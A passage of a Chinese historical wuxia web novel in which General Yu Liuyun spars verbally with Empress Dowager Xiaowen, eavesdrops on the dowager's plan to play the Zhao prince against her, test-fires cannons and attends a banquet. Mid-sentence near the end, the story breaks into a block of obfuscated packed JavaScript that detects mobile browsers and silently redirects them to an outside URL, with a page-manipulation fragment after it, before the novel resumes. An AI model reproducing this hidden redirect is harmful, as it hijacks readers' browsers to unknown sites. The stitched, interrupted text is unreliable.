玉旒云道:“我总觉得殿下应该是来见您了才对。” 孝文太后微微挑了挑眉毛:“何以见得?” 玉旒云抓住了那一刹那的变化,道:“我行军在外,常常找不到清水喝。如果打来一桶浑水,我一定不会去搅和,因为只会越搅越浑。应当等泥沙慢慢沉淀下来,再用纱布过滤,这就可以得到清水了。我想,解决人和人之间的误会,也是一个道理。” 孝文太后闲敲着棋子:“将军可真会说话,莫非把我比作他们父子之间的纱布么?” 玉旒云缓步上前,瞥了一眼那残局,笑道:“娘娘可别小看了这纱布。我们行军在外,若没有它,就喝不到清水。而一个国家之中,这做纱布的人除了可以维系自己人之间的关系外,还可以把一些可恶的小人像滤泥沙一般阻挡在外,实是必不可少之物啊!”她边说边仔细注意着孝文太后的表情。 可惜,孝文太后低下了头去,仿佛是对局思考,接着,落了一子,道:“将军也太看中我这老太婆了。” “怎么会?”玉旒云也拿了枚棋子应对,“娘娘不介意同我这小辈玩一局吧?” 孝文太后道:“将军远道而来,我招呼不周,你若有兴趣,我自然奉陪。” 玉旒云道:“那正好。不知青锋太子爱好下棋么?在樾国和楚国我们都只是匆匆一面,现在在西瑶又偷偷摸摸的,还没有切磋过。”她故意泄露了段青锋到楚、樾两国议盟之事,试探孝文太后。 孝文太后对这后半句话置若罔闻,只淡淡道:“他不好此道,就爱演戏。玉将军肯赏脸,就去绿窗小筑看他的戏吧。” 越是故意回避就越是有问题,玉旒云想,如果一个祖母得知孙子瞒着自己到别国去,听到消息后应该会问长问短才是。她显然是晓得段氏行踪的。因继续试探道:“那儿的好戏我早也欣赏过了。我还陪着他做了好几折戏呢,不知太后娘娘您有没有雅兴陪孙子做戏?” 孝文太后摇头:“我都一把老骨头了,看着就好。” 玉旒云道:“戏台上纷纷扰扰,能袖手旁观也是福。不知娘娘对殿下的新戏有什么点评?又觉得这戏怎生收场才好?” 孝文太后正要落子,稍稍犹豫了一下,道:“戏要怎生收场,自然是问写戏的人,所以将军应该去问太子。我可回答不了。” 玉旒云笑了笑:“写戏的人?我却不认为此人能控制情节的发展——如果是木偶戏倒还差不多,但是真人上了台,每个戏子都有每个戏子的想法,都有私心,又各有本事,明里暗里每人改上一点儿,这戏就面目全非了。” 孝文太后道:“若是如此,就该去问问每个演戏的人。玉将军在沙场上能运筹帷幄,相信只要和每个戏子稍作交谈,就能审时度势,判断结局了。” “稍作交谈?”玉旒云轻轻一笑,看了孝文太后一眼,恰巧老太后也看着她呢,于是她的笑意就更深了,道:“太后娘娘的这个建议真是高明,我一定会照着做。不知娘娘觉得贵国应该和我国结盟,还是和楚人结盟?” 此言一出,众人又是一愣——石梦泉早听出她和孝文太后一直打着暗喻,岂料会突然挑明? 孝文太后手执棋子悬而不下,半晌,笑道:“我是个不问政事的出家人,如何知道这个?” 玉旒云道:“娘娘方才建议我去绿窗小筑看戏。不知娘娘晓不晓得那里有一副极好的对联,曰‘谁为袖手旁观客,我亦逢场作戏人’?” 孝文太后的棋子终于落下了。“那副对联我倒没听说过。”她道,“不过有另外一副我觉得是极好的——看不懂莫吵请问前头高明者,站得住便罢须留余地后来人。不知将军以为如何?” 这分明就是嫌我问得太多,逼得太紧,玉旒云想,不过这就愈加表明她应该是参与在段氏计划之中的。那么她一定会帮段青锋解决牟希来等一群人。就不知她自己对结盟之事持什么态度?这老妇人心计如此之深,可要花一番功夫来对付! “玉将军,该你了。”孝文太后指指棋盘。 玉旒云将棋子一丢:“晚辈棋力有限,认输了。”说着,站起了身:“多承娘娘教导,晚辈受益匪浅。我二人打扰娘娘也很久了,就此告辞——”即抱了抱拳,招呼石梦泉动身。走了两步,又回过头来,道:“既然娘娘喜爱看戏,我们一定竭尽所能做一出精彩的,还望娘娘不吝捧场。” 这一次孝文太后的眼中有少许惊讶,但又搀杂着一些赞赏:“我年纪大了,不能远送。就让他们几个送送你们吧。” 她指的自然是苍翼、朱卉等人。这哪里是“送”?分明是监视他们乖乖离开,不再有其他动作。石梦泉知道玉旒云不会就此罢休,一定还要再折回来,但有这四个高手在,恐怕十分困难。 他看苍翼等三人都略带威胁地笑着,做了个“请”的动作,叫他们出门。只有暗道:看来得随机应变,再做打算了。因护在玉旒云身边,举步朝外。 可又听玄衣喝道:“慢着!我这里好歹是尼姑庵,叫其他的弟子们看见了终归不好,还是委屈你们从哪里来就由哪里出去吧!” “哈哈!”苍翼大笑,“师妹,你总算说了句有道理的话!就这么办!”说着,一把捏住石梦泉的肩膀,提着他飞出了墙外。而朱卉也几乎是同时拉住了玉旒云的胳膊,一跃而出。白翎跟在后面,不忘同孝文太后和玄衣告别。但玄衣只是惦着骂苍翼:“师弟,你成天胡说八道,就不怕舌头生疮么?” 苍翼哈哈大笑:“我如果是胡说,舌头早就生疮了,既然现在还没生疮,就证明我说的全是真的!”话音落时,已去得远了。 49. 第 49 章 苍翼等三人直把玉旒云和石梦泉“押”出了山门,又监视着他们上马,丝毫也不给二人中途回头的机会。玉、石二人知他们武功高强不便与其硬碰,只有老老实实地朝临渊城方向走了一段,甚至,因忌讳那内功高强者可以听到极远处的声音,也不敢就商议对策,直到走出了一里多地,这才喘了口气。玉旒云也恼火地骂了一句:“南方怎么有这么多江湖高手?” 这句话抱怨的成分居多,如果是询问,就多余了——南方千年文化源远流长,自然是文学、武功都研究得登峰造极;而在北国,牧民出身的百姓虽然剽悍,却对打斗之道懵懂无知,那些身手敏捷又有力气的人多愿意被选作禁军,光宗耀祖,自立门派开馆课徒却不在其考虑之范围;所以,在北方江湖豪侠几乎是绝迹的。 如果能收服那个神秘的瞎老人,玉旒云想,让他训练禁军,或者组建一支专门的队伍来对付南方的武林匹夫,不知多久才可见成效? 石梦泉回头望了望,见黄昏的树林安静得仿佛一幅画,并没有人行走其间的迹象,他推测苍翼等人不曾跟踪而来,才道:“要说高手,这几个人比楚国的那些都厉害得多,难怪一国太后在此出家,却连皇宫卫队也不见。” 玉旒云哼了一声:“这个孝文太后果然老辣。用卫队既显眼又没有什么实际的用处,自然是找这些武林高手贴身保护得好。”她想了想,又道:“不过,西瑶全国上下不是都信佛么?如此多的善男信女,孝文太后又是个贤德妇人,西瑶跟别的国家也没有仇怨,用这些武林高手日夜守护,岂不有些浪费?” 本来武德帝是个孝子,找最好的护卫来保护母亲是情理之中的。石梦泉听玉旒云特特地提出来议论,就知她另有怀疑:“你是说老太后原有野心,和朝中大臣也可能有不和,所以怕人加害自己?” 玉旒云点点头又摇摇头:“谁知道?这老妖婆实在是厉害。如果是旁人,咱们捉住了把柄也许可以要挟他为咱们办事,但是这个老妖婆,若是咱们找出她什么不愿人知的秘密,恐怕她会想方设法让咱们死无葬身之地。” 石梦泉愣了愣:他还没把孝文太后想得如此可怕。不过他知道,玉旒云总是把对手往坏里想。于是笑笑,不置可否。 两人于是一边想着下一步的行动一边默默地走了一程,见到迎面走来一个尼姑和一个樵夫。渐近时,便看清那尼姑的面目,可谓丑陋异常:左半边脸几乎完全被一快鲜红的胎记所覆盖,而右半边脸上又布满了雀斑,一双眼睛原本生得灵活无比,但配在这样的脸上只愈发显得丑怪。可这尼姑却不见一点自卑之气,反而笑得开心,仿佛正同那樵夫抛媚眼。只听她说道:“你这死没良心的,这一点便宜的胭脂就想打发我,门儿都没有。” 樵夫涎皮赖脸地同她嘻哈:“这可不便宜,这是楚国来的,稀罕着呢!” 丑尼姑道:“楚国来的?就算是这样吧,但你只买了这么一丁点儿,够人家搽几次?” 樵夫笑道:“别人就只能搽几次,不过你就可以搽十几次啦!”言下之意,丑尼姑本来半边脸就是红的,可以省下不少胭脂。 丑尼姑居然也不生气:“你倒会精打细算,真正过起日子来不晓得如何。” 樵夫道:“你跟我过一过不就知道?”说时,用肩膀碰了碰尼姑的身子,甚是暧昧。 丑尼姑啐了他一口:“没正形的,有人来了,叫人家看见!” 樵夫抬眼瞥了玉、石二人一眼,道:“怕什么?脸生得很,既不是慈济庵的人,也不是萱懿山庄的人,看了也是白看!”说这话时,竟然空出一只挑担的手来,揽着尼姑的腰要去亲嘴。 玉、石二人其实早就扭过了脸去“非礼勿视”,但听到“慈济庵”和“萱懿山庄”,心中都是一动:这尼姑是慈济庵的!两人互望了一眼:若是扮成丑尼姑和樵夫混回山上去,岂不便宜?就不知这两个人是不是也身怀武功? 于是就不动声色,两下里擦肩而过。只听樵夫埋怨丑尼姑道:“你今天怎么出来得这么迟?害我等得脖子都直了。” 丑尼姑道:“太子殿下突然跑了来找太后娘娘,一招呼就耽误了。” 樵夫道:“招呼太子还轮到你?我看你定是发了花花心事,指望见到太子就能跟着进宫去做太子妃了吧?” 丑尼姑瞪了他一眼,啐道:“好哇,你竟如此污蔑我!太子殿下这样的人物,谁不想见一见的?就见一见也犯你的忌讳了?我向日在你身上的心算是白用了。你以后都别再来找我!”说着,狠狠在樵夫的脚上一踏,佯做发怒,径自朝前跑。 樵夫大概久也不沾腥,对这丑尼姑更是“情人眼里出西施”,见她生气,立刻丢下担子追赶,口里“心肝”“肉肉”叫个不歇。玉、石二人虽听得起了一身鸡皮疙瘩,但见这一男一女动作笨拙,估计多半只是普通人,这时再不出手,就要丧失大好机会。两人于是飞快地交换了一个眼神,同时反身朝后扑去。石梦泉一掌切在樵夫的后颈上,这汉子哼也没哼一声就扑倒在地,玉旒云则是用手肘撞在了丑尼姑的后心,这女人也顷刻软倒。两人不禁心下大喜:天助我也,得来全不费工夫。 当下,玉旒云拖着丑尼姑,石梦泉拽着樵夫,各自去乔装打扮。不时,已扮就。石梦泉抹了满面尘土,尽是烟火之色,虽然细看之下还掩不住清俊,但已足够掩人耳目。而玉旒云则半边脸血红,另半边脸麻麻点点,连石梦泉都被吓了一跳:“大人,你怎么……” 玉旒云颇为得意:“不是你给你的相好买了楚国的胭脂么?正好派上用场。” 石梦泉指着那雀斑道:“这又是……” 玉旒云得意地一笑:“这尼姑显然是成天就想着会相好,出门都带着画眉的炭条。” 石梦泉才也明白。事不宜迟,他挑起了樵夫的担子,两人快步往慈济庵走。 一路上没有遇到阻挡,也未看见林中的山民,回到了庵堂门口,才见到苍翼等人。苍翼正在指点白翎武功,但实际还是在和玄衣斗气。他一边演练一边道:“怎样,师侄,我比那尼姑可厉害得多了吧?”白翎和朱卉想是早就习以为常,故尔只是笑,并不答腔。玉、石二人从正门经过,又绕到后面寻找柴米进出的小门,这三大高手竟然全没发觉。 在小门上敲了几下,便有人来应。石梦泉哑着嗓子学那樵夫的声音回答了,就有一个中年尼姑来给他们开了门。尼姑面上尽是厌恶之色:“快去放好了柴就走,要做什么丑事,不要叫我看到!”说完调头便走。 原来丑尼姑和樵夫的奸情已经尽人皆知了。在玉、石二人,这不啻又是一个大好机会。他们走到柴房,柴房里的尼姑们就纷纷回避,走到厨房,厨房里的尼姑们也全都躲开。眼见着天慢慢黑了下来,正是隐藏形迹的好时机。两人就是混着墙根儿悄悄摸索,不多时,就听到一间房里有段青锋的声音:“祖母,孙儿错了。”玉、石二人大喜,就躲在窗口的一株桂花树下,屏息细听。 只听孝文太后冷冷道:“你这是认错么?老太婆我可不敢当。你眼里早就没有我这个祖母了吧?” 段青锋默然不答。 孝文太后继续冷冷道:“也难怪。你今年也有二十六岁了吧?那可不是翅膀硬了,该自己飞了么?我老太婆的话自然是当成了耳旁风。” 段青锋“扑通”跪下:“孙儿真是知错了。” “你知错了?”孝文太后道,“那你且说说你错在哪里。” “孙儿错在不该自作主张。”段青锋道,“不该到楚国去引他们也来议盟。” 哎?玉、石二人互望了一眼:听这意思,莫非孝文太后的本意是只和樾国结盟的?那这岂不是对他们大大的有利? 听孝文太后道:“这是错吗?如果是错,你为什么要去做?” 段青锋答不上来,愣着。 孝文太后道:“你是我一手教养出来的,如果明知道是错的都还要去做,那岂不就是我教养的失败?”她叹了口气,继续道:“我不要你像那班奴才似的,动不动就跪地认错,我要你好好把这事的前后跟我说一回,究竟你是怎么考虑的,为什么要到楚国去找程亦风?” 段青锋似乎有些疑惑,先抬头望了祖母一眼,才道:“孙儿只是想,楚、樾是死敌,如果让他们知道彼此都想和我西瑶结盟,一定会相互竞争,则我国就可得到较优厚的结盟条件。” 这是常理,玉、石二人早就料到。孝文太后也不例外:“这考虑得很对,你也照着计划把楚、樾两国使节都引到临渊来了,正好可以漫天要价——你现在说自己错了,何错之有?” 段青锋怔了怔,不知怎么回答。 孝文太后摇头叹息:“整天说自己‘错了’,却其实连错在哪里都说不出来,下次还不是一样要犯错。那认错还有什么用?” “孙儿错在不该引了公孙天成这个狡猾的家伙来到临渊。”段青锋急着要应答,也顾不上说出来的话究竟合不合道理——他自去楚国叫人来结盟,谁能料到来的人是狡猾还是愚笨呢?再说了,如果楚国派个愚笨的人来结盟,那才不合常理。 孝文太后长叹:“罢了,你想不出错来就不要胡说。我来指给你看,若是我说的有道理,你就记住了,以后不要再犯,若是我说的没道理,你尽可以提出来。我这里不是一言堂,为的是你将来好,你晓得不?” 段青锋自然点头称是。 孝文太后就道:“楚、樾之争由来已久,从开始到现在,孰消孰长,你总看得出来。” 自然是楚国越来越弱,而我樾国越来越强,玉旒云想。 孝文太后道:“就这形式看来,如果我西瑶不插手,樾国总有一天会灭了楚国的。换言之,我国若是介入,能改变局势的选择只有一个——就是和楚国联手消灭樾人。” 玉旒云不禁一惊:怎么说着又好像偏向楚国那一边了? 段青锋似乎也是不解:“祖母,要这样说,樾国根本就不需要和我国结盟,为何祖母要派孙儿前往?” 孝文太后道:“樾国当然是不需要。但是以我国之力和楚人联合能够和樾国相抗衡吗?” 还没有看过西瑶的军队,玉旒云估计不出。 段青锋道:“战场上的事谁也不能打保票,就像大青河之战,也没有想到会是这样的结局。” “大青河之战?”孝文太后淡淡道,“其实一开始就注定是这样的结局了,否则我怎么会一早就让你出发到樾国去?若叫你去碰上一个志得意满的玉旒云,她会乖乖地钻你的套子,千里迢迢来临渊找你么?” 此言一出,玉、石二人和段青锋都是一惊。段青锋道:“为什么?” 孝文太后道:“楚人在落雁谷本来是一败涂地,不过他们的将领会做文章,把这一战吹嘘得虽败犹胜,更捧出了程亦风‘书生军神’‘民族英雄’,他一挂帅,好比楚国皇帝御驾亲征,楚军的士气自然高涨。那些曾经参加过落雁谷之战的士兵,把程亦风当了救命恩人,其他的士卒,也都听说此人佣兵如何神妙,跟着他就能保住性命、能打胜仗,所以只要是程亦风发出的命令——甚至是以他的名义所发出的命令,楚军上下言听计从。楚人自然上下一心。再者,在楚国的地界打仗,楚人熟悉地势和气候,粮草供给充足,又占了便宜。”她顿了顿,继续道:“相比之下,玉旈云虽然在落雁谷以少胜多,她个人来讲是一项武功。但是樾军却折损了赵临川这员猛将,赵临川的部众也几乎全军覆没。故而,落雁谷战役于樾军,可谓虽胜犹败。樾军之前横扫北方,本来气势正高,却得了如此一个鸡肋结局,怎不似兴头上被泼了冷水?将士正是情绪低落之时,玉旒云又兴大青河之战。虽然她外放以来战无不胜,比程亦风更当得起‘军神’之名,然而她在朝廷上下军队内外结怨甚多。她的亲兵也许对她俯首帖耳,但其他的将军和他们的手下就难说了。她倒是虑到了这一条,所以出兵的时候只带了自己的嫡系部队和收编来的赵临川的手下。我估量,她是打算先以闪电战取得初步的胜利,再吸引驻扎在附近的樾国其他将领前来支援。她这样,不是明摆着给了那些与她不和的将领作壁上观的机会?若是她一切顺利,这些将领自然来分一杯羹,若是她遇到阻滞,这些人还怕不来落井下石?她如此安排,到了前线还能不凶多吉少么?” 她说到这里,玉旒云不禁心中一凛:大青河之战她打算借用刘子飞和吕异的兵力,这事樾国国内很少有人知道。她自己事后并不曾向兵部回报,乃是因为她跟刘、吕二人素来不和,不想让他们借题发挥大做文章。刘子飞和吕异也没有多提,因为大青河战败和他们拒绝支援多少有些关联,他们不想背负责任。是以这事知情者甚少,很多人还以为玉旈云是因为年少气盛,打算再次成就落雁谷以少胜多的神话才惨遭失败的。今孝文太后竟然一下就猜到是求援失败,实在厉害。 孝文太后又道:“此外,玉旒云异地作战,她对楚国的山川地形究竟了解多少?从悬崖峭壁上架桥通过,的确是出其不意,如果一切都按照她的计划发展,樾军自然可以大获全胜。然而一旦此计其中一个环节出了纰漏,她还有备用之计吗?你跟着苍翼他们几个学过武功,他们跟你说过什么才是厉害的杀着么?” “一招看似平淡无奇,后面却暗藏着无穷的变化。”段青锋道,“无论对手怎么应对,都能迅速反应,始终立于不败之地。” 孝文太后点了点头:“玉旒云以石梦泉为先锋,就好像是用一把利剑去刺敌人的要害,走势看似奇崛,但没想到被对手闪开了。而她的招式并没有预留的变化,最后岂不只有挨打的份?” 玉旒云听得心里一阵发冷:大青河的失败,她虽然从来没有否认自己指挥失当,但始终觉得公孙天成的妙计连珠,杀鹿帮等人的死缠烂打,岑远的自作主张,刘子飞吕异故意刁难,都是不可控的制败因素。没想到,经孝文太后这一分析,所以的过失都在自己——是的,她根本没有想过计划失败要如何补救。她从来就没有想过失败! 其时夜幕已经完全落了下来,石梦泉看不到她的表情,只轻轻按了按她的手,示意她不要介怀,胜败乃兵家常事。玉旒云转过头来轻轻一笑,意思是:我知道。也亏得这老妖婆道破迷津,下次我一定多留几条后路。 段青锋道:“祖母将玉旒云的斤两都掂量清楚了,才叫孙儿去找她结盟,以图霸业。可是,孙儿也怕玉旒云将来不守信用,到时我西瑶轻则白忙一场,重则步了楚国的后尘,那可如何是好?” 孝文太后冷笑了一声:“哦?你也晓得怕的么?那你怎么迫不及待便把他们领去看了铸铁厂?” 段青锋一愕,讷讷道:“那……那是因为……起初就已经答应了他们,后来被老师突然一闹,就打乱了计划。我知道玉旒云心胸狭窄,恐怕她一怒之下就不肯再与我国结盟,或者做出其他什么对我国不利的事来……” “对我国不利的事?”孝文太后语气中带着刺儿,“玉旒云不曾带得一兵一卒,她有什么翻天的本事能在临渊做出对我国不利之事?她就不怕自己有来无回么?” 段青锋道:“她今天上午还跑到了皇嫂那里……” 话才出口,已被孝文太后打断:“成雪,我就知道是为了成雪。锋儿,你醒一醒吧,你和成雪这孩子搞成今天这样,难道已经忘记是为了什么吗?” 成雪?这是指的穆氏王妃了?石梦泉是早已猜到了段青锋对她的感情,玉旒云却是头一回听到,惊讶不已。穆成雪,穆成雪,她玩味着这个名字“朝如青丝暮成雪”,似乎预示着一个悲剧。 段青锋的声音变得十分的奇怪:“孙儿不会忘记。” 孝文太后叹了口气:“我知道你不会忘记,这世上谁没有权力谁就会被别人踩。但是做事不能凭意气。意气只会坏事。牟太师他们凭着一时之气,和楚人混在一处,将来少不了自食其果。” 段青锋道:“祖母,依您看老师会真的劝父王和楚人结盟吗?当初父王决议和赵王做交易,老师和一干老臣都参与其中,不会一转眼又变了吧?孙儿觉得他们只是故意要为难我。” “他自然是要为难你。”孝文太后道,“他本以为你是个草包花花公子,现在发觉你竟背着他做了这么大的事,若不想出点法子来拿住你,将来他在朝廷中还怎么混下去?”说到这里,她又冷笑了一声:“今日去见皇帝,恐怕不久又来见我老太婆了。我一日不死,他一日不得甘心!” 段青锋愣了愣:“祖母……您是说老师?老师难道也是当年逼您殉葬的人之一?” 孝文太后没有回答。 段青锋道:“祖母,孙儿一直都不明白,您明明心系国家,又有治国之材,为什么要任他们误会你,躲在这里青灯古佛?孙儿的才干还不及您一半,父王又无心政务,若您能出来主持大局,我西瑶的霸业指日可待。” 人前野心勃勃仿佛傲视一切的段青锋,在祖母面前也有如此幼稚的一面。 孝文太后笑了笑:“锋儿,奶奶老了。这治理国家的事,始终不是女人的本分,早年我帮着你祖父,已经叫别人误会我要谋朝篡位,差点儿就让我殉葬。幸亏你父王能干,把国家的大小事务都管理得井井有条,我才能在这里苟全性命。现在你父王也老了,该像奶奶一样退下来了。原本有你大哥,多好的一个孩子,没想到竟是那样……好在还有你。好在奶奶还教导了你。将来的天下是你们年轻人的。且不要再说什么要奶奶出来主持大局的话了,祖宗听到了可要笑死。” “是。”段青锋应着。 祖孙二人都沉默了一阵,孝文太后又幽幽道:“要说起这个玉旒云,年纪轻轻,虽然急躁了些,却还是有些本事,居然能找到我这里来。磨练磨练,将来也许会不可限量。” “既然会不可限量,”段青锋道,“岂不是更要找人牵制住她?” 孝文太后望了孙子一眼:“看来你还是不知道自己错在何处——我来问你,你害怕玉旒云将来攻下楚国后不守信用,所以要找人与她相抗衡,故叫了楚人也来结盟,是也不是?” 段青锋默认。 孝文太后道:“到了那个时候,楚国都已成了她的囊中之物了,楚人都被她踩在脚下了,还怎么牵制她?” 段青锋一愕:如此浅显的道理,自己竟然没有想到!他本是想借刀杀人,岂有杀了人再叫死人去折断那把刀的?他一时真是觉得自己蠢钝异常,羞愧得无地自容。 “况且,”孝文太后道,“你引了楚国使者来,乱了自己的阵脚,还叫玉旒云怀疑你结盟的诚意,不得不多花时间同她周旋,这不是自找麻烦么?”她的话锋又一转:“你也不要太放在心上,知道知道错在何处就好了。虽然你也遇到过不少不如意的事,但是毕竟还年轻,大风大浪从没有经历过。自古的英雄枭雄没有天生的,都是风浪里摔打出来的,摔得多了,遇事自然也就知道怎么应对了。” 虽然是自己的对手,但是这样的“老人言”叫窗外的玉、石二人也受益匪浅。 段青锋道:“孙儿明白了——祖母,那要用什么来牵制玉旒云?” 孝文太后笑了笑:“你父王不是已经替你预备下了么?” “赵王?”段青锋一怔,玉、石二人更是大惊。 孝文太后道:“不错。赵王身为开国功臣,又是封疆大吏,却偷偷摸摸来找你父王做军械交易,我就料定他有反心。你此去所见所闻,证明我的猜测不假。如果利用玉旒云灭楚,再让赵王和玉旒云相争斗——他们一个是元老,一个是新贵,一个广有党羽,老奸巨滑,一个扩充疆土,有精兵的支持,到时候樾国新打下来的一片江山没坐稳,又起内讧,我西瑶却始终不费一兵一卒,修养生息。天长日久,自有分晓。” “啊——”段青锋听到有此计划,不啻既惊又喜,“祖母的计策委实高明。” 而玉旒云则是先倒吸了一口凉气,既而冷笑:老太婆,你的如意算盘倒打得响,不过你这一招平平无奇,后面又有什么暗藏的变化?若我先把赵王给除掉了,你当如何? 且想着的时候,突然听到远远的有一阵急促的敲门声,既而听见丑尼姑叫道:“开门!不好了!” 啊!玉旒云暗道,我将她绑在树林里,没想到这么快就脱身了? 此地不可久留。她和石梦泉趁着众人还要过一会儿才能反应出来发生了什么事,悄然疾步走到了墙边,双双一跃而出。又在墙外潜伏了片刻,听苍翼等人都到后门口来探问究竟,二人就乘机落了山,再找到了马匹,直奔回临渊城,跳墙回到五洲馆中,仿佛神不知,鬼不觉。 其时明月当空,他们走到前院,公孙天成正对月小酌,见到他们,就笑道:“咦,二位大人莫非是歇了午觉么?到这时才起来?” 玉旒云并不理会,转出了公孙天成的视线,才和石梦泉冷冷一笑,道:“看他得意到几时——看他们这群人都得意到几时!” 一宿无话,到了次日,段青锋来请玉、石二人去试验火炮。二人本以为他这一日要忙着应付牟希来和武德帝,未料竟风平浪静,心下不觉有些奇怪。但是佯作万事不知,两下里客气着,就同他到了郊外的山上。 那里士兵早就预备停当,见他们一到,立刻点火。只听一阵震耳欲聋声后,百丈之外的山头立刻被削平了一块。 段青锋道:“大人看如何?虽然填药、装弹需时甚长,但一发石弹打过去一丈见方的人都非死即伤,杀伤力比火枪强得多。战时只要将火炮推到阵前,瞄准个大差不离,就可以使敌人阵脚大乱了。” 玉旒云道:“果然厉害!有了这些大炮,楚人的什么远平城、平崖城,还不全都被炸上了天?哈哈!”她虽笑,心里却想:赵王不知也得了几门炮,到时候不知是要轰我的府邸还是皇宫呢? 段青锋也笑:“玉大人本来就用兵如神,得了这厉害的神兵利器,自然如虎添翼。我想只要有个十来门火炮一起点火,敌军慢说无法冲锋,就连防势也要一溃千里。到时你拿下了楚国,可不要忘记了我们的约定。” 玉旒云道:“自然,一言既出,驷马难追。”心里其实想:待我收拾了赵王,拿下了楚国,还怕不来找你算帐。 石梦泉问:“火药威力如此巨大,殿下怎知这炮筒不会被炸开呢?” 段青锋哈哈笑道:“用我西瑶所铸的钢铁来制造,就一定坚不可摧了。” 石梦泉道:“不知殿下应许支援我军火炮,是卖几门炮给我们,还是绘制图纸,并把铸造技术也传授给我军工匠?” 段青锋瞥他一眼:“早听说石将军战场上运筹帷幄决胜千里,没想到也有我西瑶人一般的生意头脑——你是怕我只卖给你们火炮却不给你们技术,等于卖了个无底洞给你们,是也不是?放心,图纸早就画好了,炮筒要如何铸造,我也早叫人和那铸造箭簇的技术写在同一本书中,二位带回北方就可立刻设立作坊制造。” “如此甚好,多谢多谢。”玉旒云笑,又趁人不备拉了石梦泉到一旁,道:“何必同他多费口舌?现在说的哪一句话做得了准?还不知他背地里跟赵王又是怎么讲的。他敷衍咱们,咱们也敷衍他,他说话就只管同他打哈哈就是。” 石梦泉道:“虽是这样,做戏不也要做全套么?如果只是跟他嘻嘻哈哈,怎见得我们是‘真心’地钻进他的圈套里?” 玉旒云愣了愣,笑道:“你小子,什么时候也学得这么狡猾?” 石梦泉也报之以一笑:“大人,兵不厌诈,我如果是‘鳝鱼吃扁担’似的一根筋不晓得变通,你放心我带兵出去打仗么?” 玉旒云“扑哧”一笑,又假装板起面孔来,瞪了挚友一眼,道:“好哇,我发觉你自从和愉郡主对上了眼,说话也变得和她的‘翼哥哥’一样讨厌了。你们可真是天生的一家人!” 石梦泉习惯了她这样的玩笑话,也不着急,一笑了之。两人又随着段青锋试了另几种小型的火器,有端在手里的梨花枪,也有背在背后的喷火箱。段氏谓“买卖总有添头”,玉、石二人自然同他嘻哈敷衍。闹了大半日,才返回临渊城中。 段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728630|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青锋即请他二人到绿窗小筑饮宴。“这里我常住,就像是自己家一般。”他道,“茶水冷暖,饭菜咸淡,比太子府中还要贴心。我们在此稍事休息,下午就带二位去枯云禅寺拜见我父王。” “哦?”玉、石二人互望了一眼:这么快?孝文太后用什么方法劝服了武德帝?不是前日牟希来才去闹过么?但两人很快又相视一笑:孝文太后写好了戏,段青锋是主角,他俩只不过是龙套,甚至只是道具,既然是孝文太后计划要利用他们,那就该让她老人家来扫清一切障碍来利用。他们两人所需要做的,无非是配合孝文太后把这一出戏演好了,演像了,从西瑶这里得到夹击楚国的支持,然后再调转头来,设法收拾了赵王。如此而已,连横合纵本来就等同于尔虞我诈。 于是笑道:“久仰西瑶皇帝大名。不知今日见到了,是否就将盟约定下?” 段青锋道:“我是如此打算,但正像昨日所约定的,两位大人当设法让我父王相信我西瑶和你樾国——尤其是和你樾国皇帝而不是赵王结盟实是明智之举,要不,我也不能硬逼着我父王改变心意啊。” “那是自然。”玉旒云笑道,“结盟可不就像是结亲,要两个巴掌才拍得响,才是击掌为誓,如果只有一个巴掌,那就是打人了。”说时,瞥了石梦泉一眼。后者知道她又拿愉郡主的这头亲事来打趣自己,但晓得段青锋悟不出其中的玄机,这就好像是他跟她两人间私有的笑话一般,所以反而生出甜蜜之感,笑着应道:“可不是——殿下,大人,请——” 三人就相互客套着进了雅室。段青锋早就吩咐预备下此间的著名菜肴,因是正当金秋时节,这时上来的是菊花宴。想来此间招待太子久了,花尽心思,是以每一道菜都极富名堂——比如那“菊花饼”,取黄甘、白糖和米粉捣制,陷以火腿、虾仁、冬菇,慢火成薄饼,复又切片,风味独特;“菊花肉”则要取菊瓣加糖煮成糊状,晒干成粉,以其腌渍猪肉条,再放入菊花糖浆内蒸煮,末了还得滚上带露的菊花瓣,鲜嫩无比……这一桌菜肴,不知要花多少功夫。 这场戏做得可是落足本钱,玉旒云暗笑,拿起酒杯来:“这是菊花酒吧?” “自然。”段青锋道,“夏来菰米饭,秋至菊花酒——这酒与别不同,因为酿酒的水都是用得菊花瓣上的露呢!” “更望尊中菊花酒,殷勤能得几回沽。”玉旒云哈哈大笑——这诗引的完全不合时宜,但是段氏这般殷勤,谁又知道宾主各怀鬼胎呢?“可惜有酒无乐,殿下常在此处,有什么好曲子也叫人演来助兴吧!” 段青锋道:“有,有,有。”即问鸨母姑娘们练了什么新鲜歌舞。 鸨母道:“殿下来得真是巧,有一出歌舞昨天才刚刚练起来。我看过,有趣极了。还得请殿下亲自鉴定一番。我立刻叫姑娘们来。”说着,就下去准备。 这边厢雅室中继续饮宴,不多时,就听到一阵锣鼓之声——南方毕竟和北地不同,樾国演戏用大鼓,热闹非凡,楚国的鼓稍小些,讲求手法复杂,音色多变,而西瑶使用一种极小的皮鼓,二八女郎单手擎了来拍,手腕上的银铃也叮当作响,别有风味。 锣鼓闹处,丝竹也跟着响起,脆管繁弦此起彼伏。奏了一阵,见一个戴着面具的劲装女郎疾步走到了台中,一亮相就原地花蝴蝶般的闪转腾挪起来。她的身手甚是了得,一个动作接到下一个动作,丝毫不打愣,直看得满堂的客人眼花缭乱,到她站定时,大家都忘记了鼓掌。 玉旒云正要叫好,却听这女郎娇滴滴开口道:“呔!尔等敢不叫好?知我是何人么?”她掏出一面小旗子朝众人划了个圈儿,最后正指向段氏和玉、石二人的雅室,道:“我乃樾国惊雷大将军玉旒云是也!” 这戏——石梦泉一惊:不就是中秋之夜在凉城六合居所看? 玉旒云的目光登时一变。 不过段青锋的面色变得更厉害,拍案而起:“谁做的?” “殿下——”玉旒云冷冷的,饮了口酒,“管是谁做的,总之不是殿下做的。我们继续喝酒,不必理会。” 段青锋一愕:“玉大人,这的确——” 